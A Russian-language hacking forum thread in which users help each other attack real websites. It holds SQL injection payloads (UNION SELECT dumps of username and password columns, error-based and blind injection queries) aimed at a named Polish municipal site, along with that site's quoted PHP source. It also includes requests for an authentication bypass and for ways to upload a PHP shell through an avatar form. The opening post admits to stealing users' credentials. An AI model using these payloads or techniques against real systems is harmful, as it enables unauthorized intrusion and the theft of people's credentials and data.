Всем Привет.Вытянул из базы логины и пароли юзеров,патюсь залогинится выдет такую ошибку что это значит и можно ли как-то использовать? p.s. только учусь по данной теме ,поэтому не судим строго,очень прошу..
Показывай ссылку, или в пм. upd: все, решили, проблема была как я и сказал, в указателе на базу данных с этой таблицей.
Люди помогите с sql Имеется SQL инъекция. www.xxx.xx/title.php?id=-32+union+select+1 версия: 5.1.49 нашел таблицу members в таблице есть колонки: username, password пишу запрос: www.xxx.xx/title.php?id=-32+union+select+username from members limit 0,1 ---- не выводится ничего и при limit 1,1 и 1,2 но при: www.xxx.xx/title.php?id=-32+union+select+password from members limit 0,1 ---все пароли выводятся В чем может быть проблема?
Einstein, может просто нет username-ов?) Ссылку кинь в ПМ. P.S. Попробуй UNHEX(HEX(username)) www.xxx.xx/title.php?id=-32+union+select+UNHEX(HEX(username))+from+members+limit+0,1+--+
ай-яй. Все получилось помогло вот что: www.xxx.xx/title.php?id=-34+union+select+concat(username,char(58),password)...---b все вывелось. tabletkO спасибо, что откликнулся =)
не интересуют программы, которые просто ищут ошибку при подстановке " ' ". Это ты видать не заметил, да?
Проблемка... При выводе инфы из БД пишет Subquery returns more than 1 row запрос: ?id=1+and(select+1+from(select+count(*),concat((select+2+from+users+limit+0,1),floor(rand(0)*2))x+from+users+group+by+x)a)+and+1=1
http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4%20order%20by%20123 как такое крутить? почему при order by 123 нет ошибки?
Тут Blind SQL Крутить так: Code: http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4+and+substring((version()),1,1)=4 4-ая версия. Печально. Code: http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4+and+ascii(substring(([COLOR=Magenta]user()[/COLOR]),[SIZE=3][B][COLOR=Magenta]1[/COLOR][/SIZE][/B],1))=109 User = mup@localhost Code: http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4+and+ascii(substring(([COLOR=Magenta]database()[/COLOR]),[SIZE=3][B][COLOR=Magenta]1[/COLOR][/SIZE][/B],1))=112 Database = praca Теперь подбирай таблички так: Code: http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4+and+exists(select+count(*)+from+praca.[COLOR=Magenta]НАЗВАНИЕ_ТАБЛИЧКИ[/COLOR]) Если страничка отобразится нормально - ты подобрал =)
Вот вам сорцы =) PHP: if ($this->is_valid_poll_id($poll_id)) { $voted = $this->has_voted($poll_id); $is_active = $this->is_active_poll_id($poll_id); if ($action=="results" && $poll_id==$poll_ident) { return $this->view_poll_result($poll_id,0); } elseif (!$is_active) { return $this->view_poll_result($poll_id,0); } elseif ($is_active && $voted) { return $this->view_poll_result($poll_id,1); PHP: function is_valid_poll_id($poll_id) { $poll_id = intval($poll_id); if ($poll_id>0) { $this->db->fetch_array($this->db->query("SELECT poll_id FROM ".$this->tbl['poll_index']." WHERE poll_id=$poll_id AND status<'2'")); return ($this->db->record['poll_id']) ? true : false; } else { return false; } } PHP: function is_active_poll_id($poll_id) { $poll_id = intval($poll_id); $this->db->fetch_array($this->db->query("SELECT * FROM ".$this->tbl['poll_index']." WHERE (poll_id='$poll_id' AND status=1)")); if (!$this->db->record) { return false; } elseif ($this->db->record['expire']==0) { return true; } return ($this->db->record['exp_time']<time()) ? false : true; } PHP: function view_poll_result($poll_id,$vote_stat=0) { $poll_id = intval($poll_id); if (!isset($this->poll_result_html[$poll_id]) || !isset($this->poll_result_html[$poll_id][$this->template_set])) { $pollvars = $this->pollvars; $row = $this->db->fetch_array($this->db->query("SELECT * FROM ".$this->tbl['poll_index']." WHERE (poll_id = '$poll_id')")); if (!$row) { return ""; } $question = $row['question']; $VOTE = ($vote_stat==1) ? $this->pollvars['voted'] : ''; $COMMENT = ($row['comments']==1) ? "<a href=\"javascript:void(window.open('$pollvars[base_url]/comments.php?action=send&id=$poll_id&template_set=$this->template_set','$poll_id','width=230,height=320,toolbar=no,statusbar=no'))\">".$this->pollvars['send_com']."</a>" : ''; eval("\$result_html = \"".$this->get_poll_tpl("result_head")."\";"); $i=0; $loop_html = $this->get_poll_tpl("result_loop"); if (!isset($this->options[$poll_id])) { $this->get_poll_data($poll_id); } $maxvote = ($this->options[$poll_id]['maxvote'] == 0) ? 1 : $this->options[$poll_id]['maxvote']; $totalvotes = ($this->options[$poll_id]['total'] == 0) ? 1 : $this->options[$poll_id]['total']; for ($i=0;$i<sizeof($this->options[$poll_id]['option_id']);$i++) { $img_width = (int) ($this->options[$poll_id]['votes'][$i]*$this->pollvars['img_length']/$maxvote); $vote_count = $this->options[$poll_id]['votes'][$i]; $vote_percent = sprintf("%.2f",($this->options[$poll_id]['votes'][$i]*100/$totalvotes)); $vote_val = ($this->pollvars['type'] == "percent") ? sprintf("%.1f",($this->options[$poll_id]['votes'][$i]*100/$totalvotes))."%" : $vote_count; $option_text = $this->options[$poll_id]['option_text'][$i]; $option_votes = $this->options[$poll_id]['votes'][$i]; $poll_color = $this->options[$poll_id]['color'][$i]; eval("\$result_html .= \"$loop_html\";"); } $total_votes = $this->options[$poll_id]['total']; eval("\$result_html .= \"".$this->get_poll_tpl("result_foot")."\";"); $this->poll_result_html[$poll_id][$this->template_set] = $result_html; } return $this->poll_result_html[$poll_id][$this->template_set]; } Собстна, учитывая что на сервере mg=ON, и версия mysql 4, то только blind sqli. on error based не прокатит.
есть сайт ,при запросе вида ?action=doLogin&Username=1' выдаёт Invalid query: select * from Users where Username='1'' AND Password='' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' AND Password=''' at line 1 перепробовал кучу запросов , нехера не получается обойти авторизацию,каким запросом можно обойти авторизацию ?(( 25cf%25e0%25f0%25ee%25eb%25fc%27%20or%20%28%282%29%2b1%29%20 %201%20--%20&%c8%ec%ff что это за кодировка??? и это %c8%ec%ff'
На одном сайте есть форма заливки аватара для юзеров, при заливке файла с расширением php все данные в файле заменяются на такую кашу урл аватара получается вида /images/avatar-13.php, то есть с таким расширением действительно загружается файл но содержимое его заменяется на дефолтную картинку что-ли. Может есть у кого идеи как обойти?
Хочу попробовать вот этот способ через мета данные картинки _http://raz0r.name/articles/bezopasnost-zagruzhaemyx-izobrazhenij/ может выйдет что Кто может разъяснить этот способ? http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/ Может у кого есть мануал на русском или готовый вариант? Буду оч благодарен
бессмысленно, во-первых, изображения обрабатываются GD, которая уничтожит весь твой php-код. во-вторых, ты сказал, что льешь php-шелл , а на выходе получаешь jpg-файл - такого быть не может, там что-то еще происходит.
Когда заливаю картинку - всё ок. Когда заливаю пхп скрипт то в файле с расширением .php оказывается картинка дефолтная.